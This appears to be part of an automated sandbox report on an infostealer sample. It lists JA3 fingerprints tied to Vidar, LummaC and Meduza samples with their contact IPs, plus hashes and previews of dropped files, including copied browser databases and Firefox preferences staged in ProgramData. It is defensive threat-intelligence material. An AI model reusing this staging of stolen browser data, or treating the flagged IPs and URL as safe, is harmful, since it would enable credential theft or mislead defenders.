	lem.exe	Get hash	malicious	Vidar	Browse	23.209.72.40
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AiaStwRBdI.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HJVzgKyC0y.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	rUfr2hQGOb.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YhF4vhbnMW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	lem.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	https://mandrillapp.com/track/click/30903880/lamp.avocet.io?p=eyJzIjoiM2NCLS1TMlk4RWF3Nl9vVXV4SHlzRDZ5dmJJIiwidiI6MSwicCI6IntcInVcIjozMDkwMzg4MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2xhbXAuYXZvY2V0LmlvXFxcL25ldy11c2VyXCIsXCJpZFwiOlwiMTMxMTQyZmQwMzMxNDA4MWE0YmQyOGYzZDRmYmViYzRcIixcInVybF9pZHNcIjpbXCI0OWFlZTViODJkYzk4NGYxNTg2ZGIzZTYzNGE5ZWUxMDgxYjVmMDY5XCJdfSJ9	Get hash	malicious	Unknown	Browse	23.1.237.91
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
37f463bf4616ecd445d4a1937da06e19	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	din.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	yoda.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	markiz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.99 188.245.216.205
	utkin.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	149.154.167.99 188.245.216.205
	script.ps1	Get hash	malicious	Vidar	Browse	149.154.167.99 188.245.216.205
	libcurl.dll	Get hash	malicious	Matanbuchus	Browse	149.154.167.99 188.245.216.205
	b8ygJBG5cb.msi	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aD7D9fkpII.exe_c55a259761662d66335c138d16911943150cfb0_990ac6de_7c3147b2-b665-4f9a-855d-08e45c098d98\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7187577858203742
Encrypted:	false
SSDEEP:	96:K3FeDGUIlfWsfsh1yDfUQXIDcQvc6QcEVcw3cE/3+HbHg/8BRTf3o8Fa9OyWZAX0:I0DGUyWe0BU/Qj/qzuiFRZ24IO8Ojo
MD5:	4DD77B8D433136AE9A855852F37E0972
SHA1:	B4C2114B2B3BF5CA8DE00B4572F9E4B81DEF5338
SHA-256:	C6CB89DFC936AE37D348C78DC5C5E17C617BC16346ECB3F3188C063AD67D1F58
SHA-512:	26D2DAB9E3B74B39D1BB76708C6D3161787F93E144D6FCF9CBDF23B2C5F6F790D5188CB29F788568D8DD5B7B377B5F675A8A123FAFE405ABFE1B4FB0CA2DD069
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.7.5.7.5.9.7.6.3.4.2.0.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.7.5.7.5.9.7.9.4.6.7.0.4.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.3.1.4.7.b.2.-.b.6.6.5.-.4.f.9.a.-.8.5.5.d.-.0.8.e.4.5.c.0.9.8.d.9.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.c.a.0.7.9.6.4.-.1.f.9.f.-.4.7.8.8.-.8.0.d.6.-.1.c.8.e.b.0.f.5.7.c.e.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.a.D.7.D.9.f.k.p.I.I...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.p.c.P.i.n.g...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.0.8.-.0.0.0.1.-.0.0.1.4.-.f.e.c.0.-.4.a.b.b.2.f.5.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.6.c.5.5.3.a.c.9.9.2.9.5.b.a.2.d.0.2.d.6.a.a.d.f.c.7.1.0.7.3.d.6.2.b.2.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7533.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 27 07:19:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	43484
Entropy (8bit):	1.687817517235187
Encrypted:	false
SSDEEP:	192:XDyW2GyOlxa57BjDfov++w5Ai50h1h4QHv4etrPvbn:TyWxcBfmk5Ai6h1h4QHvbtrD
MD5:	18457FC8848F19E7E32F214570AD52F9
SHA1:	74C4DBE66DFB3EF8924BA4D1D5DA3899F2602EA5
SHA-256:	FBC7AE198546349FAF37B9444E5806151E43A6D0200E55C225BECE5F66FD0354
SHA-512:	FEAF3DB4C0F3A824C995B55252E58FDB5779D3E49C31DB999A12502B6FDDC97770033D6C30299A6CB5CD3B4B3E2372A0C2BFC6FB4FA94FF84ABEC3061F76236D
Malicious:	false
Preview:	MDMP..a..... ........Ung........................0...........d...f!..........T.......8...........T......................................................................................................................eJ..............GenuineIntel............T............Ung.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7582.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8314
Entropy (8bit):	3.693293347434342
Encrypted:	false
SSDEEP:	192:R6l7wVeJ5s6j6YEIBSU9Grj5gmftuJvVprZ89blcsfdDwXm:R6lXJy6j6YEOSU9Grj5gmftuJv+lvfR9
MD5:	7B14EDA7C5B5DD83AC9075AED72E0A83
SHA1:	F5F47EDF4CED18534DA34F89D32580A3F3F15C31
SHA-256:	838F9EFC880B2829C4EFA5843A18CC0AA4ECF974F6E2C5E100C5F69B74FE824A
SHA-512:	26CAEB4B16CEB86C660F47E6C4676601B8EBC07134A7F0307F11FB67F0F721BCA6A2A0467BF313DB6512A880470EAF26428FD169624EC4A60F55AB600667A97E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75B2.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4661
Entropy (8bit):	4.469043406161844
Encrypted:	false
SSDEEP:	96:uIjfQI7KLa7VSJ/nDn8PnB5ZKK+Uz9zhAd:uI8YKLa74vzCBEUz9zhO
MD5:	42BE395DBE71F9E48774E7840B5BDA46
SHA1:	E99956EBAB49E5DC028829A07F7F9A1F80C967EA
SHA-256:	8FC1CBC6ACF5C61481DE87FB0C834879ABE721D4DE0C445925FDA8C37414C37F
SHA-512:	BCC3237C352CCC4C1D3CF509DFBFB2B5E58C81F22E31E9E2F52A43FA75CEF482A62D7EF2E1C4A2C7B386E37E597DC6E967EC81B866B5DA12584C0DE1458308BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="649342" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\TRQ9ZCBA1N7Q\47GLNG

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265495754907874
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMXSAELyKOMq+8yC8F/YfU5m+OlTLVumK:Bq+n0JX9ELyKOMq+8y9/OwV
MD5:	E6736A04C341B6E15AD98A4CB315D61F
SHA1:	8130F1C1BA4B4CC72DEB77BE39853F75C3DD5005
SHA-256:	8D48A427B9E34860CE36D0AEAA7DC44788093085BE22AB2A766CFB580A11384B
SHA-512:	A93F7D721E87A1A35B0D40AD19514E09DD636C52C90E612E68FEDA231A1B42E1012F90F19AFEF35B03DA9FE2DB8F4D0F819540877A328D76E1506F2E03E681EE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\4W4EKNGVA

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\79H47Y

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\79HDJ5

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\79R16X

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\7GDT2N

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\ProgramData\TRQ9ZCBA1N7Q\CTJWTJ

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\D2NGDB16F

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\IW4WT2

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\TRQ9ZCBA1N7Q\NGVAAA

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\TRQ9ZCBA1N7Q\RQ1VK6

Download File

Process:	C:\Users\user\Desktop\aD7D9fkpII.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\122a50db-0cca-4cb6-8c04-fe60a6d430d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.0964151545592395
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawu9hDO6vP6O9PWvWTP+IcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEz6bchu3VlXr4CRo1
MD5:	E0745BC613E097D0F764CBA03B44CC31
SHA1:	FCA07BB3EEBD371EF25AAA103E6F890777C0CBAE
SHA-256:	4B8D8648C7719B4CD609B2E8E9DC06D508CE0B6FDFB44FCE84272E49E04AE8F2
SHA-512:	E1D58A61CC2EA067E59EFD3CD5E4E2EECDC25E818034B28968E45CBC29171B3956322733637F7524E2EC03BA5EE61DB2E9BB2F44E51FD14799F4CDA4F71C1A48
Malicious:	false
